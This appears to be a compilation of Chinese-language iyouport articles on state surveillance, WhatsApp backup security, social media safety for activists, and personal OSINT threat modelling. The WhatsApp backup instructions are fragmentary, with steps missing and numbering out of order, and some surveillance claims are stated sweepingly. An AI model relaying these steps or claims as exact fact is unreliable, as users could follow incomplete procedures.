州和联邦执法机构正在推动扩大他们的生物识别和DNA数据库，要求任何被指控犯有轻罪的人都要收集他们的DNA并编目。然而，现在已经有技术可以让政府在不需要人们合作、甚至不让人们知情的情况下，从远处收集指纹等生物识别技术。一个系统实际上可以在近20英尺外扫描和识别指纹。

（戴上手套吧，如果您还没有这样做，请……）尤其是不要随便拍摄手部照片上传社交媒体！原因见《这个20亿美元的监视实验室，隐藏了60多年不为人知》。

开发人员正在努力开发一种雷达枪，它可以实际显示你或你车里的人是否在发短信。另一项正在开发的技术，被称为“文本分析器”设备，将允许警方确定某人是否在分心驾驶。如果您拒绝将手机提交给警察做测试，可能会导致您的驾照被吊销。

可以肯定的是，凡是政府太过热情欢迎（和资助）的东西，必然是一个充满恶劣、侵入性的特洛伊木马。

例如：警察的身体摄像头。这些身体摄像机被誉为“解决警察滥用职权的简易方案”，由司法部提供资金，使警察变成了行走的监视器。当然，如果你试图要求查看这些录像，你就会发现自己被陷入了昂贵的追逐，穿过数英里的繁文缛节、无休止的官僚主义踢皮球和无益的法庭。

这是个特别典型的例子，我们此前使用过这个例子来讲述为什么上访是无意义的，见《要运动，不诉求》。

物联网“指的是越来越多的智能”电器和电子设备，现在已经连接到互联网上，并能够相互交互和远程控制。这些东西的范围从恒温器、

咖啡机到汽车、电视、灯泡、门铃 …… 等等趋向于一切。当然，这种便捷的控制和访问是要付出代价的。这个代价相当于把对您的家庭的最终控制权和访问权交给了政府及其企业合作伙伴。例如，虽然三星的智能电视能够 “听” 到你说的话，从而让用户可以使用语音命令来控制电视，但是，它也会记录你所说的一切，并将其转发给第三方，包括政府。

这并不是最近发生的事。早在两年前我们就有过关于物联网监视对公民定罪的相关报告，见《你家冰箱如何作为呈堂证供？》。

不过话又说回来，当FBI可以远程激活手机上的麦克风并记录你的对话时，政府其实并不需要监视你怎么使用智能电视。FBI也可以在主人不知情的情况下，对笔记本电脑做同样的事。《“如果你不偏执，那就是疯了”》。

正在集体上天的无人机，是执法机构已经拥有的所有武器和技术的汇聚点。事实上，无人机可以监听你的电话，扫描你的生物识别数据，拍摄你并追踪你的行动，甚至可以用先进的武器装备将你收服。关于这点，见《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》。

所有这些技术加起来就是一个社会，在这个社会里，几乎没有不检点、不完美或独立行为的空间，尤其是当政府可以监听你的电话、监控你的驾驶习惯、追踪你的一举一动、仔细检查你的购物、和穿透你家的墙壁进行窥视时，就更不可能了。

数字化的痕迹无处不在

「图」

正如调查记者 Charlie Warzel 和 Stuart A. Thompson 所解释的那样，“这些数据 —— 由智能手机应用程序收集，然后输入到一个令人眼花缭乱的复杂数字广告生态系统中……提供了人们的所有私密记录，无论他们是去戒毒中心、脱衣舞俱乐部、赌场、堕胎诊所还是礼拜场所。”

在这样的监控生态系统中，我们都是要被追踪、编目和锁定的嫌疑人和数据集。

正如 Warzel 和 Thompson 警告的那样：

> “以为只有在个人违法的情况下信息才会被用来对付自己，

正如 John W. Whitehead 在他的书《Battlefield America》中指出的那样。对人民的战争，这就是警察国家令人毛骨悚然、精打细算却又阴险的天才之举：被誉为革命性和解放性的技术，却成了我们的监狱、牢笼，老大哥和 “老子知道的就是比儿子多” 集于一身。

再也没有灰色地带了。〇

Digital Trails: How the FBI Identifies, Tracks and Rounds Up Dissidents

原文

是否需要备份以及该如何安全地备份 WhatsApp？ - iyouport

护盾（AS）

【2019年10月24日存档】

本文关联上一篇指南《如果您必需使用 WhatsApp：这里是减少伤害的办法》

消息传递平台 WhatsApp 在全球拥有15亿用户，⚠并且越来越多地被用作组织，动员和分享重要人权内容的工具。

本教程希望能帮助您决定是否应该使用 WhatsApp 的内置备份选项，如果是，该如何最安全地备份 WhatsApp。

备份 **WhatsApp** 与从 **WhatsApp** 导出内容是不同的。

备份用于恢复 WhatsApp 帐户，例如，如果您要更换手机。备份以加密的 WhatsApp 数据库格式存储，于是它无法在 WhatsApp 之外打开或读取。

导出的内容无法像备份一样恢复到您的 WhatsApp 帐户，但如果您想将重要内容保存在 WhatsApp 之外，则非常有用。

为什么要备份 **WhatsApp**？

- 如果您需要从手机中删除 WhatsApp，稍后重新安装。

⚠如果您正在面临被搜查手机的状况（不论是在机场还是在街头）；或者您担心自己的物理和数字安全性，则可能需要在手机上先卸载 WhatsApp。

通过在卸载之前备份 WhatsApp，您可以稍后从此备份重新安装和恢复您的内容。

- 如果您的手机丢失、被盗、损坏、或您需要更换它。

WhatsApp 消息和媒体存储在您的手机上，而不是存储在 WhatsApp 的服务器上（WhatsApp 在30天后删除来自其服务器的消息）。

但是手机可能会丢失、被盗或被损坏。将 WhatsApp 备份到您的计算机上应该是确保您可以在设备出现问题时恢复 WhatsApp 的唯一方法。

- 如果您要还原为备份副本。

在某些情况下，您可能希望将 WhatsApp 还原为备份副本；例如，如果您不小心删除了一些重要内容。

在大多数情况下，例如使用 Google 云端硬盘或 iCloud 备份时，您只能恢复到最新的备份。

但是，Android 设备会存储最近7天的备份，Android 用户可以从较旧的本地备份进行恢复。

iPhone 用户只能通过整个设备的 iTunes 备份恢复到较旧（非最新）的备份。

请务必注意，从备份还原时，将丢失备份日期之后创建的所有新内容。

为什么不想备份 **WhatsApp**？

- WhatsApp 备份不如 WhatsApp 聊天安全。

WhatsApp 提供内置选项来备份本地（Android）和谷歌 Drive（Android）或 iCloud（iPhone）。

Android 用户可以在 Google 云端硬盘上免费备份所有 WhatsApp 数据，不受文件大小限制（不推荐这样做）。

这些备份由 WhatsApp 加密，如果上传，也可以通过谷歌或 Apple 的服务器端加密，但它们不受 WhatsApp 的端到端加密保护。

当您进行备份时，WhatsApp 会使用您的电话号码生成密钥对其进行加密。

当备份上传到 Google 云端硬盘或 iCloud 时，Google 或 Apple 也会使用自己的服务器端对其进行加密。

⚠请注意：这意味着这些公司或拥有您的 Google 帐户或 iCloud 授权的任何人都可以解密备份中的服务器端加密，并且可以向执法部门提供备份。

⚠同时，用于解密的密钥存储在您的手机上，或者可以由使用带有您的电话号码的 SIM 卡的任何人重新生成，因为它旨在使用户能够轻松地将备份恢复到新手机上。当然也因此不安全。

同样重要的是要注意，WhatsApp 备份加密只加密文本对话，而不是媒体内容（视频和图像）。

WhatsApp 不会在手机上加密媒体附件，也不会将其上传到 Google 云端硬盘和 iCloud。

- 谷歌和苹果可能会向执法部门提供备份访问权限。

⚠当您将内容备份到所谓的云端时，您就彻底无法控制它了。如前文所述。

所以建议使用替代方案。

Android 用户可以选择仅使用本地（加密）备份，而 iPhone 用户可以使用 iTunes（带加密选项）将整个手机备份到自己的计算机上。

导出 WhatsApp 内容是备份以保存重要文本和媒体信息的另一种方法，尽管您无法像将常规备份那样将导出的内容简单的恢复到 WhatsApp 帐户。

请注意，所有这些选项都有其自身的安全风险，例如，如果您的设备丢失、被盗或被警察没收，或者您的云服务或设备遭到黑客入侵或破坏 ……

请按照我们上一篇文章中的说明操作。

- 云备份使内容更容易受到攻击和窃取

由于云存储可能引入许多漏洞，因此在云上存储数据可能会非常不安全。

个人帐户可能会被弱密码、糟糕的密码管理、和网络钓鱼攻击所破坏（使用双因素身份验证，这有助于保护用户。在这里看到《不使用手机号码实现双因素身份验证的方法》）。

云存储提供商也可能具有较差的安全实践，例如对其数据库的保护较弱，使他们及其用户容易受到破坏、骇客攻击和泄密。

如何备份 **WhatsApp**？

如下，选择适合您的内容。

1、如果想在 **Android** 操作系统上备份 **WhatsApp**

1–1 想做一个本地备份

你不需要做任何事情。 WhatsApp 每天凌晨2:00自动为您的设备创建本地备份。

无法关闭此功能。

WhatsApp 将最近7天的备份存储在您的设备上。

如果要在24小时备份周期之间的某个时间点手动备份，请转到 WhatsApp 」菜单」设置」聊天」聊天备份」备份。

本地备份在 WhatsApp」数据库下的设备存储中存储为加密文件。

它们由 WhatsApp 使用手机上存储的密钥解密（除非您拥有对手机的root权限，否则无法访问）。

1–2 如果想从本地备份还原

这个过程大多是自动化的。重新安装 WhatsApp 时，系统会在您验证电话号码后提示您恢复。

WhatsApp 默认会选择最新的备份。

要强制 WhatsApp 选择本地备份，请在重新安装 WhatsApp 之前注销您的 Google 帐户。

1–3 如果想从手机上恢复旧的本地备份

您需要以下内容：

用于访问手机上存储文件的文件管理器应用程序；

您的设备可能具有内置文件管理器（取决于制造商），或者您可以从

Play商店安装一个；

如果从 PlayStore 安装，请注意是谁创建了该应用程序、以及他们收集的信息类型。# WhatsApp 在 Android 设备上存储最近7天的备份。

1. 使用文件管理器应用程序导航到设备存储或SD卡上的 WhatApp / Databases。

- 删除单个备份文件或整个 Databases 文件夹。这不会影响 WhatsApp 中聊天的主要副本。

1. 在计算机上的 Google 云端硬盘中，转到齿轮图标」设置」管理应用」 WhatsApp。等到“Hidden app data”和文件大小出现，这可能需要几分钟：
2. 用于访问 iCloud 的 Apple ID

- iPhone 和 iCloud 上有足够的可用存储空间来存储备份。

1. 将手机连接到电脑。解锁手机并允许计算机/ iTunes 访问它。在 iTunes 中，选择设备图标：
2. 将手机连接到电脑。解锁手机并允许计算机/ iTunes 访问它。系统将提示您关闭手机上的“查找我的 iPhone”功能。要暂时关闭此功能，请转到设置」 iCloud」查找我的 iPhone。关闭查找我的 iPhone并输入您的 Apple ID 密码。在 iTunes 中，选择设备图标：

「图」

2. 在 iTunes 中的“备份”下，选择“还原备份”，然后选择要从中还原的备份：

3. 重新打开手机上的“查找我的 iPhone”功能。

2–5 如果你想删除 **iTunes** 备份

在 iTunes 中，转到 iTunes」首选项」设备。右键单击要删除的备份，然后选择“删除”：

请注意，备份文件夹会在 Time Machine 中备份（如果启用了此功能），因此，从计算机中删除备份后，仍可能存在备份的现有副本。如果您正在做的是《大清洗》工作，请注意这点。〇

原文

社交媒体上的行动主义安全性：框架手册 - iyouport

护盾（AS）自我保护措施-技术技巧以防身

如果您必需使用社交媒体谈论政治和敏感的行动，这里是最基本的您应该知道的事

本文是框架手册，以最简单的语言描述敏感人士在社交媒体上的安全问题和防御方法；重要部分嵌入了详细介绍。如果您在您的团队培训中讲授本指南的内容，请将其中嵌入的部分展开，做详细讲述。

最常用的社交媒体平台是沟通、组织、动员和获取信息的有力工具。它们的商业模式是基于集中化的数据囤积、处理和分析。这种史无前例的数据聚合使上述所有好处得以实现，但其副作用是令史无前例的监视、操纵、和网络暴力变得易如反掌。

人们产生的数据往往是极其个人化的—— 我们做的搜索、我们提出的问题、我们说的话或看的东西，这些都会产生数据；但数据也是我们什么时候做的事，和谁做的事，在什么情况下做的事的详细说明。所有这些汇集在一起，就构成了非常强大和有洞察力的私人形象，从社会、文化和政治角度来看，它是关于我们是谁、我们属于哪里、有什么习惯和偏好、甚至内心的弱点。

在这里看到它们对您做了什么的详细介绍。

数据也是很容易被积累、复制、分享和操纵的东西。通常是为了赚钱或其他利益，如影响力、控制力和骚扰侵犯。

社交媒体平台已经成为公民社会组织（CSO）、草根团体、活动家和相关个人的外联和动员工作的中心舞台。本文将重点探讨社交媒体平台用户生成的数据对公民行动主义的影响。

关于社交媒体平台用户生成的数据相关的四个方面问题：

1、平台和个人数据 —— 对个人活动家和整个行动网络的隐私以及对

收集和分享个人数据的关切。除了在线审查之外，在政府要求下或平台自行判断所引发的删除帖子或封锁账户的行为也是如此。您可以在这里看到详细解释《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》。

2、当局和个人数据—— 根据活动家和组织在社交媒体上的分享内容锁定目标；诽谤；通过法律行动从平台上获取个人信息；在某些情况下，使用暴力获取密码，以解锁用户账户及其社交圈的信息。

3、对手和个人资料—— 通过诽谤活动，传播虚假信息，泄露个人照片，以及通过像 “人肉” 这样的攻击，可能造成非常严重的后果。

4、个人背景和个人数据 —— 由于与家庭或雇主的政治观点不一致，对个人关系、甚至生机所造成的影响。如今这个问题也越来越严重，见《你的老板怎么比网警还厉害？》。

要开始对您的数据进行更有战略意义的思考，并对现有的担忧做出回应，重要的是首先要确定威胁和脆弱性，这些威胁和脆弱性可能会根据您周围的环境和政治背景而有所不同。具体做法您可以参见我们的《整体安全》教程第6集的内容。

任何人都可能被入侵，不论您是否信任此人

「图」

即使您信任与您分享信息的人，如果您使用的社交媒体/通信软件创建了用户可访问的记录（比如您可以看到过去的活动或信息历史记录），如果其他人获得了与您联系的人的设备或账户的访问权限，您认为可以保持隐私的信息和图像就会因此被泄漏。

还记得 Jamal Khashoggi 是怎么死的吗？那些间谍并没有直接针对他本人，而是入侵了与他联系最为密切的一位朋友的手机，从而曝光了 Khashoggi 的加密通信内容。只因为这位朋友在网上买了一罐蛋白粉，最终导致 Khashoggi 被分尸。

攻击往往都采用这种 “旁路” 的方法，因为被列为攻击对象的敏感人士大多学习过如何注意保护自己的隐私，但是他们很可能无法控制与他们联系的其他人，尤其是年纪较大的家人，于是攻击者就会从这里入手。

我们所有人都是被联系在一起的。好的方面是，我们拥有彼此，联合

的力量会很强大；而坏处是，这意味着发生在一个人身上的事，比如账户被黑，就会影响到我们其他所有人。您可以对自己和团队负责，在自己的账户上使用强大的密码，并设置双因素身份认证；但您也需要与您的朋友、亲密队友和社区讨论这对我们所有人的影响，以及他们可以做些什么。

帐户被黑客攻击有可能不是您的错，即使您非常负责任，也可能会发生这种情况。如果发生了，请善待自己和其他任何人，并专注于恢复而不是责备。如果您的账户被黑客攻击：尝试重新获得访问权，并立即更改密码和其他任何可能使用了相同密码的其他账户的密码；并让您的重要关系网络中的所有人知道您的账户被黑客攻击了，信息可能已经暴露，您的账户发出的消息可能不是来自您。比如参见这里的步骤《如果您的电子邮件帐户被黑客入侵怎么办》。

这里有一些资源的链接，可以帮助您保护您的设备，保护您免受黑客攻击：

- 创建和维护一个强大的密码，如何选择密码管理器
- 如何保护您电脑上的敏感文件
- 如果让您的手机可以防警察，安卓的，iPhone的
- 一些可能与恶意软件感染有关的迹象

保护您的设备免受物理威胁——

「图」

在很多国家和某些情况下，您的对手可能会采取物理攻击的方式来获取数据。这可能包括盗窃、警察突袭，甚至是通过人身暴力来获取设备。然后使用取证软件获取设备中的信息，包括您以为已经被删除的信息，都可以提取。

在这里看到《警察使用的取证工具能提取哪些数据》、和《从技术角度分析这些取证工具，以寻找防御方法》，以及《即便您的设备本身已经没有可提取数据，警察依旧可以使用的取证方法：云取证》。了解对手的能力，您将可以找到最合适的防御措施。

这里有一些《抵制取证工具的方法》，以及《反取证技巧》。

身份：您在网上的身份与您想让别人了解的您的身份 ——

「图」

关于您的在线行为建立的数字档案，不仅仅是基于您发布的文章或分享的内容或上传的照片；您的数字阴影覆盖面很大，您应该首先绘制它的轮廓，以便了解更多关于您留下的数字痕迹。这将有助于评估有多少关于您的信息，并让您知道从哪里开始更好地控制自己的数据。

为此您可以参见《自我人肉》指南，以对手的思考方式来验证您自己的薄弱环节，提早弥补。尤其是关于《社交媒体情报》的应对措施，您的对手很有可能挖掘到您自己都不知道存在的重要信息。因此您也需要采取对手的思考方式，见《反情报基本工具》。

对于您可以采取什么样的身份在线公开自己，这里有一些判断标准您可以参考《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》。

在社交媒体上分享图片、视频和文档——

「图」

当您使用社交媒体平台时，有时您分享的内容远远超过您的想象。这不仅与您分享的数据有关，还与附加的元数据有关。元数据可以理解为传统图书编目的现代版。图书馆抽屉里堆放的小卡片提供了书名、出版日期、作者和在图书馆书架上的位置。同样，在数字领域，一张数字图像中可能包含了拍摄照片的相机、图像的日期和时间等信息，往往还包含了图像拍摄地点的地理坐标。这种与多媒体相关的元数据也被称为EXIF数据，在《关于元数据》的指南中介绍了图像和其中附加的元数据如何会带来严重的风险；在该指南的下集中介绍了《一些元数据工具》以帮助您利用和缓解被追踪的风险。

在实际工作中，重要的是要知道当提到元数据时通常意味着什么。以下是可能与不同类型的数据一起存储的元数据列表：

照片：

- 如果使用智能手机等具有GPS功能的设备，包含照片拍摄的位置（经纬度坐标）
- 相机设置，如ISO速度、快门速度、焦距、光圈、白平衡、镜头类型等 (请注意，有些相机会包含位置坐标)
- 相机或智能手机的品牌和型号
- 照片的拍摄日期和时间
- 用于编辑照片的程序名称

PDF文件：

- 作者的名字，通常是第一次安装用于创建文件的程序时分配的名字
- 用于创建文件的程序的版本和名称
- 文件标题
- 某些关键词
- 文件创建/最后修改的日期和时间

文本文件 —— 根据用于创建文件的程序，数据可能包括：

- 所有不同作者的姓名
- 文件前几版中已删除的文本和注释行
- 创建和修改的日期

视频 —— 视频文件中的元数据可以分为两个部分：

- 自动生成的元数据：创建日期、大小、格式、CODECS、持续时间、位置
- 手动添加的元数据：关于镜头的信息、文本转录、标签、进一步的信息和编辑说明 … 等

音频 —— 音频元数据类似于视频，但使用范围更广，特别是用于注册文件的属性。除此之外，它还可以包括：

- 创建日期，大小，格式，CODECS，持续时间和一组手动添加的数据，如标签，艺术家信息，评论，专辑中的曲目编号，流派等。

通信 —— 通信中的元数据取决于所使用的通信类型（如电子邮件、手机、智能手机等）。但在一般情况下，它可以显示以下内容（如果没有使用隐藏元数据工具的话）：

- 发件人和收件人的ID
- 来文日期和时间
- 位置
- 通讯方式…等

您可以关闭手机或相机中的GPS追踪器；还可以在手机设置中限制各种应用程序对您的位置数据、联系人和图片的访问，在这里看到关于《权限设置》的须知。非常建议使用端对端加密通信工具，但必须了解必要的《安全文化》，并让您的重要联系人都遵循同一套安全文化

准则。

在注册设备或软件时，不要使用真实姓名或您在线使用的主要昵称。这样可以防止在使用该设备或软件时创建的元数据与您的姓名或昵称相联系。

在网上发布内容时，您可以将含有大量元数据的文件（如.doc和.jpeg）改为使用较少元数据的文件（如.txt和.png），也可以使用纯文本。

您可以使用工具从某些文件中删除元数据。具体方法见这里。

分享图片的替代方案

「图」

来自 Guardian Project 的 ObscuraCam 是一款安卓系统的照片和视频应用，可以保护某些信息的隐私。它允许您用像素化、删改（涂黑）或用搞笑的鼻子和眼镜保护可识别部分。

您还可以反转像素化，这样就只能看到您选择的人，背景中的人都无法识别，这在拍摄街头施暴的警察时会很有用，帮助隐藏背景中的其他抗议者。这款应用还将删除所有存储在照片中的可识别数据，包括GPS位置数据和手机品牌和型号。您可以将受保护的照片保存回图库，或直接分享到 Facebook、Twitter 或任何其他支持 “分享” 的应用程序。

更多相关工具可参见《整体安全（11）》。

社交媒体上的匿名性

「图」

对于异议人士和行动者来说，来自家庭和职业圈子的威胁是相当具体的，其影响也各不相同。国家的镇压性法律或社会强加的限制，或活动家的社会或职业网络中的信仰，都可能发挥重要作用。

有两个因素促使活动家注意到所感知的风险。首先，对手可能会拦截活动家的机密数据，这可能导致犯罪或意识形态迫害。

其次是数据足迹带来的意外后果。不论是数据经纪人还是政府，与您

的数字活动相关的所有信息都可能会成为监视和针对性的迫害的途径，您很有必要假设数据经纪人能拿到的一切，政府都能拿到。关于他们能拿到什么，以及如何处理这些数据，见《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。

这意味着活动家需要小心自己在组织活动时留下的任何数据痕迹，因为今天看似无害的元数据，可能会在未来的任何时候的立法、监管或商业模式下面临危险。

持有与主流价值观不同意见的活动家都会遭到威胁和攻击，在任何国家都是如此，这无需质疑。有些攻击并不需要复杂的技术技能，只需要大量恶意者之间的协调行动；这就是活动家面临的在线骚扰、抹黑运动、恶意举报他们的发布内容和个人资料、人肉、盗用社交媒体账户、身份盗窃和审查网站的方式。

某些类型的攻击需要更多的技术或人力基础设施：恶意软件感染和使用有针对性的间谍软件、互联网搜索引擎中的虚假信息战术、以及克隆在线服务等等，都是很常见的手段。

解决方案见：

- 如何抵制在线骚扰、攻击和人肉
- 抹黑运动不只是抹黑
- 恶意举报如何与跨国巨头公司合作，两个案例
- 给敏感人士的反人肉指南

考虑潜在的在线身份如何改善您的安全（以及与您个人和职业相关的人的安全），对于准确评估您的风险，以及安全使用各种在线身份所需的技术技能和能力至关重要。您还需要考虑在特定的情况下，您会使用哪种身份。在这里看到具体判断准则：《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》。

以下问题说明了您在评估其他在线身份时应该考虑的因素：

- 如果我的真实身份被人知道，我的安全、工作或生活是否会受到威胁？
- 如果我参与的某些活动被人知道，我的心理健康和/或人身安全是否会受到影响？
- 如果我的真实身份被人知道，我的家人或其他亲人是否会受到任何伤害？
- 我是否能够并愿意安全地保持独立的身份？

- 您需要准确地基于事实来回答这些问题，之后您将看清最适合自己的选择。

真名——

「图」

风险：在网上使用您的 “真实世界” 身份意味着您很容易被家人、同事和其他人识别，而且您的任何活动都可以与您的身份直接联系起来。

声誉：其他人可以很容易地识别您，从而更容易获得声誉和信任。

努力：几乎不需要努力。唯一的问题是，您在现实中掩饰自己多少，在线就需要同样的的程度。

匿名——

「图」

风险：它是有益的，但也不容易维持。慎重选择这个选项，除非您具有足够的知识和能力可以保证您的匿名持久性安全。

声誉：需要较长时间的持续努力，因为您需要重建信任和声誉。

努力：需要相当的谨慎和丰富的知识，可能有点辛苦。您必需确定自己可以熟练使用匿名工具（例如Tor或TAILS）。

假名 ——

「图」

风险：假名可能会与您的现实世界身份相联系，但也可以有意地避免形成联系。

声誉：一个持久的假名，别人可以用它来识别您在各个平台上的身份，是获得声誉和信任的好方法。

努力：维护需要一些努力，特别是当您在其他地方使用了真名的时候（非常不建议采取*部分*假名的做法，大致上这和没做一样）。

集体身份 ——

「图」

风险：您的真实身份可能会被集体中其他人的行为所暴露，除非您所在的集体如匿名者组织那样其中每个人都熟知如何保护自己和彼此。

声望：虽然不是获得个人声誉的途径，但您仍然可以从集体的声誉中获益，这往往比个人声誉更好。

努力：中等，重要的努力在于熟悉和遵守共同的《安全文化》，了解并每时每刻都能做到保护彼此的安全。

社交媒体的问题 ——

「图」

虽然社交媒体平台对活动家和人权维护者来说有多种多样的用途，但其背后最常见的用途是分享信息、创建活动、协调和组织，以及参与讨论。

我们发布过《为什么动员人们离开寡头社交媒体平台会失败》。这是基于活动家的基本利益的考虑。所以，您需要一个基于您的具体工作的具体分析，每一项工作可能都是不同的，于是您应该掌握一套判断标准，而不是听从他人的指挥。参见这里《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》。

以及这里《在线组织和互助需要多方面小心以维护所有参与者的安全》。

您的身份 ——

「图」

如果您想保护自己的隐私，值得考虑使用集体身份。用假名与不同的人共享同一个账户可能是一种很好的方式来混淆算法，并在收集的关于您的数据中产生噪音。

每个人都有自己不同的模式和习惯，可以用来识别他们。让《亲密团队》中的所有人拥有相同的个人资料是混淆这些模式的好方法。

行动者的成功永远不会是个人成功，对于行动者来说只有好的团体协作才能获得真正的成功。

与更多公众分享信息

「图」

如果您不得不使用寡头公司的社交媒体平台的原因是为了与更多的公众分享信息，请考虑以下几点：

Facebook：

您想让所有人都看到您的分享吗？如果不是，您可以使用朋友列表，如果您在Facebook上的话。列表允许您策划谁可以看到什么，但是，这并不能阻止 Facebook 访问和存储您的数据！

登录到 Facebook 帐户后您会发现 “朋友列表” 的左手栏下：

- 点击 “新闻源” 左侧的 “探索” 下的 “朋友列表”
- 单击 “创建列表”
- 为您的列表输入一个名称和您想添加的名字。您可以随时从列表中添加或删除联系人
- 单击 “创建”

给您的列表取名时要有创意。请*避免*用 “家庭” 来代表您的家庭成员，用 “工作” 来代表工作联系人；也要避免使用 Facebook 的 “智能列表”，它是基于从您的个人资料中收集的数据。分类包括您的家乡、居住城市、住址等。这些名单会暴露您的联系人，即使他们选择不与 Facebook 分享他们的信息。例如，如果您将某人添加到你所在城市的智能列表中，而这个人还没有将这些信息包含在他们的个人资料中，Facebook 就会要求他们将城市添加到他们的个人资料中，并且也会将他们的个人资料放在该城市下。

从现在开始，当您发布一些东西时，您可以对谁能看到您的帖子有更多的控制。但是，要记住，如果您的列表上的任何一个人的账户或设备被泄露，您分享的内容也会被恶意者看到。使用社交媒体是一系列的权衡，您应该始终评估相应的利弊。

Facebook

「图」

有各种不同的选择来替代 Facebook，但当您建议使用这些替代平台时，您会听到的一个常见的说法是 “用户量太少了没有影响力”。但也并不是每个人在 Facebook 刚开始的时候都在 Facebook 上，邀请您关系网络内的联系人加入您的某个替代平台可能是值得的 —— 即使只是为了您正在做的敏感工作，同时维持一个 Facebook 账户用于个人事务。

如果您和亲密团队的成员忽然间消失在一个热门平台上，对监视者来说这就是一个 “信号”，你们反而会成为监视目标。所以安全原则上，我们会更多建议《分身》，而不是彻底弃用和全面转移。具体解释见《整体安全》第8集。

一般来说，重要的是要战略性地考虑您用什么工具来做什么。为各种任务使用不同的平台将有助于分散您的个人数据的危险性。

像 Diaspora 这样的平台是开源的，面向用户控制的。它们是分散化的，这意味着没有一家公司可以拥有您的数据或所有用户的数据。

推特

「图」

Twitter 的隐私设置比 Facebook 少得多，但在推特保护自己的隐私还是比较容易的。通过使用一个值得信赖的VPN，在创建账户和使用过程中谨慎对待自己分享的任何个人信息，以及避免与个人联系人分享信息的对话。在这里看到《您不应该在社交媒体上说的话》。

但是，如果您是一个从事政治活动的个人或者是从事敏感工作的行动主义网络的一部分，监控可能是一个严重的威胁，特别是在风险国家。例如，标签和使用标签的人很容易受到监视和社交图谱的影响。您可以在这里看到详细解释《推特标签讲述的故事：解码秘密（8）》。

对于从事敏感活动和关注政治的异议人士来说，这里的建议非常值得您参考《使用社交媒体时你必须注意什么？—— 更安全的抵抗》。

Twitter的替代选择

「图」

Mastodon 是与Diaspora遥相呼应的Twitter替代品。它是开源的、去

中心化的，允许用户创建自己的“社区”，前提是，您需要一个服务器。

在这里看到寡头平台和服务的替代品列表《安全工具箱补充版：分类工具列表（2）》。

创建和宣传活动

「图」

许多人说他们在 Facebook 上了解活动，许多团体发现这个工具有助于组织聚会和邀请人们。许多人发现它是一个有用的方式来跟踪出席和与参与者分享更新。但是，Facebook 和可能访问您的活动的对手（比如警察）都可以收集所有这些数据。如果您正在策划一个敏感的活动，或者是一个可能吸引对手的政治集会，最好不要使用 **Facebook**。

或者您还可以考虑使用仅限邀请的私人活动，确保标明只有主持人可以发出邀请。

作为替代，可以考虑使用传统的方式，如海报、电子邮件、传单和短信进行邀请。比如见这里《被压迫者的教育学，和”高级传单”》。

如果您是一个行动主义团体成员或活动家，经常为一个封闭的亲密团队或一个确定的网络组织活动，可以考虑花时间在Crabgrass上建立一个账户。Crabgrass 是一个安全的基于网络的组织工具，专门为活动家设计。它可以作为一个社交平台，在这里您可以与其他人讨论，也可以在私人团体中组织任务。这是一个专门为满足自下而上的草根组织需求而定制的社交网络工具，因为它能够在线协作，分享文件、任务和项目。

群组

「图」

许多基层团体和活动家网络利用 Facebook 群组进行讨论，汇集链接和信息，并组织即将举行的活动。当面对面会面不容易或不可能时，这尤其有帮助。但是，虽然 Facebook 群组可以“关闭”，但问题还在于您是否愿意将您的数据和所有联系人分享的信息存储在一个监视资本家的服务器上。

为此，Crabgrass 是一个很好的选择。它允许 Facebook 群组允许您做的一切，并增加了一层隐私和安全性。

通信

「图」

Messenger 是最容易被取代的 Facebook 服务，因为存在各种安全、开源、加密和高效的替代品。与 Facbeook 提供的其他服务不同，Messenger 其实有多个值得竞争的替代品，您可以考虑 Signal、Riot 和Jitsi，以及在这里看到更多选项《安全手册》。

永远不要忘记《安全文化》！一个软件无法保护您全部，最大的弱点在于参与的人本身，只有通过实施团队安全文化，才有希望保证所有人的安全。〇

原文

私人威胁模型 - iYouPort

护盾（AS）自我保护措施-技术技巧以防身让它民主-公民掌握真相的技巧和技术

OSINT是这样一种东西，人们不一定通过这些内容的学习成为深度调查大师，只要您能通过深度挖掘演示了解到互联网的追踪攻击能力，并且意识到如何保护自己的隐私，就已经非常好了。简单说说这件事

你的对手现在可能正在调查你。你真的知道在网上可以找到哪些关于你的个人信息吗？你知道什么东西可能对你、你的公司、你的资产甚至你所爱的人构成潜在的威胁吗？

也许你去年读过有关如何通过简单的健身应用程序找到秘密军事基地和间谍的分析（如果没读过在这里看到《如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？》）；或者，您是否了解有关在线数据库（如 haveibeenpwned 或 Dehashed）的信息，它们可以告诉您或您公司的密码是否因数据泄露而受到损害？

我可以随便指出几十个（或者更多）在线资源可能会泄露您的机密数据，但我不想这样做，我想从不同的角度来看待这个问题。

我喜欢称这种自我评估方法为 OSINT 警报。因为最终，所有关于你（或其他人）暴露在互联网上的信息，反过来都会以各种方式使你变得脆弱。

请考虑以下事项：

- 作为个人/私人，其他人会能发现关于你的什么东西？
- 作为商务人士，其他人会能发现关于你的什么东西？
- 例如，您的朋友和家人是否意识到您可能因为工作或政治立场而成为了间谍的“理想”目标？

案例1、

你离开家去度假了，犯罪分子会从你的社交媒体上找到这一信息，那么你的家就很快会“迎来”窃贼，甚至是间谍—他们擅长安装微型窃听设备。

还可以让这一示例更复杂些。假设你是一位名人，你发帖说你将前往一个特定的国家或地区，如果那个地区对你的身份来说是敏感的（例如活动家vs新疆），你很可能会遇到麻烦。

如果你家有很好的报警系统，那么在此上述威胁是可避免的。

但是，如果您前往的国家是激进团体的家园，这些团体已经看到您的社交媒体发布，现在全天候跟踪您的在线活动。而您发布了另一条消息，指出将前往该国家/地区的某个酒吧。

如果你是名人，绑架和勒索赎金将很有可能发生；或者更糟糕的是，暗杀。

虽然这些威胁可能看起来很遥远甚至令人难以置信，但在 OSINT 中，我们经常可以看到人们会在什么时间和地点发布他们所处的位置。在世界上许多地区，将某人的在线角色映射到实体家庭地址并不难，如果我们能够做到这一点，那些意图不好的人也可以做到这一点。

案例2、

假设你正在离婚。您是一个在社交媒体上发布很多关于自己活动的人。你和你的前配偶有两个年龄较小的孩子，可能是6–10岁。ex住在离你家2个街区的地方。当你的两个孩子在后院玩耍的时候，你发帖说要洗个澡。

ex 看到了你的帖子：她就可以抓取该信息在法庭上证明您不会很好地照看孩子，于是她很可能因此获得孩子的抚养权。

